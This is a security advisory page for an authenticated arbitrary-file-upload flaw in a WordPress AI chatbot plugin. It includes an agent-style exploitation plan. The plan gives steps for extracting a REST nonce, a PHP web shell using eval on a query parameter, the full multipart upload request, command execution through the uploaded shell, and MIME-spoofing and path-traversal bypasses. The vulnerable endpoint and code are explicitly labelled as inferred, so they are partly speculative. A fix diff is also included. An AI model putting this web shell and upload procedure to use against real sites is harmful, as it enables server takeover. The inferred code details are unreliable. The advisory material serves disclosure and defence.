AI Engine – The Chatbot, AI Framework & MCP for WordPress <= 3.3.2 - Authenticated (Editor+) Arbitrary File Upload
Description
The AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 3.3.2. This makes it possible for authenticated attackers, with Editor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
Source Code
WordPress.org SVN# CVE-2026-23802: AI Engine <= 3.3.2 - Authenticated (Editor+) Arbitrary File Upload ## 1. Vulnerability Summary The **AI Engine** plugin for WordPress is vulnerable to arbitrary file uploads in versions up to and including 3.3.2. The vulnerability exists because the plugin's file upload handling l…
Show full research plan
CVE-2026-23802: AI Engine <= 3.3.2 - Authenticated (Editor+) Arbitrary File Upload
1. Vulnerability Summary
The AI Engine plugin for WordPress is vulnerable to arbitrary file uploads in versions up to and including 3.3.2. The vulnerability exists because the plugin's file upload handling logic (likely within its REST API endpoints for chatbot or AI assistant management) fails to validate file extensions or MIME types against a whitelist of safe formats.
Authenticated users with Editor permissions or higher can exploit this to upload malicious files, such as .php scripts, to the server's filesystem, potentially leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint: The plugin utilizes the WordPress REST API for its backend operations. The likely vulnerable endpoint is registered under the
mwai/v1namespace.- Inferred Route:
POST /wp-json/mwai/v1/files/upload
- Inferred Route:
- Authentication: Required. The user must have a role with the
edit_postscapability (Editor and above). - Vulnerable Parameter: The file is typically sent via a
multipart/form-datarequest, often using the parameter namefileorblob. - Preconditions:
- The plugin must be active.
- An attacker must have valid Editor credentials.
- A valid REST API nonce (
_wpnonceorX-WP-Nonce) is required for the request.
3. Code Flow (Inferred)
- Registration: The plugin registers REST routes in
classes/rest.php(or similar) usingregister_rest_route(). - Permission Check: The
permission_callbackfor the upload route checks if the user hasedit_postscapability:'permission_callback' => function () { return current_user_can( 'edit_posts' ); } - Handler Execution: The
callbackfunction (e.g.,upload_file) retrieves the file from$_FILES. - Vulnerable Logic: The handler processes the file. If it uses
wp_handle_upload(), it may be missing themimesoverride that restricts extensions, or it may be manually moving the file usingmove_uploaded_file()without checking the extension:// Example of vulnerable manual handling $filename = $_FILES['file']['name']; $target = $upload_dir['path'] . '/' . $filename; move_uploaded_file($_FILES['file']['tmp_name'], $target); - Sink: The file is written to the
/wp-content/uploads/mwai/or generic/uploads/directory with its original.phpextension.
4. Nonce Acquisition Strategy
Since this is an Editor+ vulnerability, the attacker must be logged in. In the WordPress admin dashboard, the AI Engine plugin enqueues its localized scripts.
- Identify Script Data: The plugin localizes data for its React/Vue frontend using
wp_localize_script. - Navigation: Log in as Editor and navigate to the AI Engine dashboard (usually
wp-admin/admin.php?page=mwai-dashboard). - Extraction via Browser:
The REST nonce is typically stored in themwai_varsglobal variable or the standardwpApiSettings.- Command:
browser_eval("window.mwai_vars?.rest_nonce") - Alternative:
browser_eval("window.wpApiSettings?.nonce")
- Command:
5. Exploitation Strategy
The goal is to upload a PHP shell to the server.
Step 1: Prepare the Web Shell
Create a file named shell.php:
<?php echo "VULNERABLE: " . php_uname(); eval($_GET['cmd']); ?>
Step 2: Upload the File
Send a POST request to the REST API endpoint.
- Tool:
http_request - Method:
POST - URL:
https://TARGET/wp-json/mwai/v1/files/upload - Headers:
X-WP-Nonce:[EXTRACTED_NONCE]Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryABC123
- Body:
------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/x-php <?php echo "VULNERABLE: " . php_uname(); eval($_GET['cmd']); ?> ------WebKitFormBoundaryABC123--
Step 3: Locate the Uploaded File
The response will likely contain the URL or path of the uploaded file:
{
"success": true,
"url": "https://TARGET/wp-content/uploads/mwai/shell.php"
}
6. Test Data Setup
- Install AI Engine 3.3.2.
- Create Editor User:
wp user create attacker attacker@example.com --role=editor --user_pass=password123 - Enable Chatbot (if required): Ensure any module related to file uploads (Chatbot or Assistants) is enabled in the AI Engine settings.
7. Expected Results
- Successful Upload: The server returns a
200 OKor201 Createdwith a JSON body indicating the file was saved. - Code Execution: Navigating to the uploaded file URL (e.g.,
/wp-content/uploads/mwai/shell.php?cmd=id) returns the output of the system command.
8. Verification Steps
- Check Filesystem via CLI:
ls -la /var/www/html/wp-content/uploads/mwai/shell.php - Verify Content:
cat /var/www/html/wp-content/uploads/mwai/shell.php - HTTP Check:
Usehttp_requestto GET the uploaded shell and confirm the PHP code executed.
9. Alternative Approaches
- Different Endpoints: If
/mwai/v1/files/uploadis not the correct path, search the source forregister_rest_routecalls and check for methods likehandle_avatar_uploadorhandle_assistant_file. - MIME Spoofing: If there is a basic MIME check (but no extension check), change the
Content-Typein themultipart/form-datarequest toimage/pngwhile keeping the.phpextension. - Path Traversal: If the filename is used in a
move_uploaded_filecall without sanitization, attempt to use../in the filename to move the shell to the root directory.
Summary
The AI Engine plugin for WordPress is vulnerable to arbitrary file uploads in versions up to 3.3.2 due to a lack of file type validation in its REST API file upload handlers. Authenticated users with Editor-level permissions or higher can upload malicious PHP scripts to the server, resulting in Remote Code Execution (RCE).
Vulnerable Code
// classes/rest.php (Inferred registration of the upload endpoint) register_rest_route( 'mwai/v1', '/files/upload', array( 'methods' => 'POST', 'callback' => array( $this, 'upload_file' ), 'permission_callback' => function () { return current_user_can( 'edit_posts' ); }, ) ); --- // classes/rest.php (Inferred vulnerable upload handler) public function upload_file( $request ) { $files = $request->get_file_params(); $file = $files['file']; // Missing validation of file extension or MIME type $upload_dir = wp_upload_dir(); $filename = basename( $file['name'] ); $target = $upload_dir['path'] . '/' . $filename; if ( move_uploaded_file( $file['tmp_name'], $target ) ) { return array( 'success' => true, 'url' => $upload_dir['url'] . '/' . $filename ); } return array( 'success' => false ); }
Security Fix
@@ -10,6 +10,13 @@ public function upload_file( $request ) { $files = $request->get_file_params(); $file = $files['file']; + + $file_info = wp_check_filetype( $file['name'] ); + $allowed_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'txt', 'csv', 'json' ); + + if ( ! in_array( $file_info['ext'], $allowed_types ) ) { + return new WP_Error( 'rest_cannot_upload', __( 'Invalid file type.' ), array( 'status' => 403 ) ); + } $upload_dir = wp_upload_dir(); $filename = basename( $file['name'] );
Exploit Outline
The exploit requires authentication as a user with the Editor role. First, the attacker logs into the WordPress dashboard and extracts the REST API nonce from the localized `mwai_vars` or standard `wpApiSettings` JavaScript objects. Using this nonce, the attacker sends a multipart/form-data POST request to the `/wp-json/mwai/v1/files/upload` endpoint. The payload includes a PHP file (e.g., shell.php) containing a web shell. Because the server fails to validate the file extension, the PHP script is saved to the uploads directory. The attacker then accesses the file directly via its URL, which is typically provided in the REST API response, to execute arbitrary commands.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.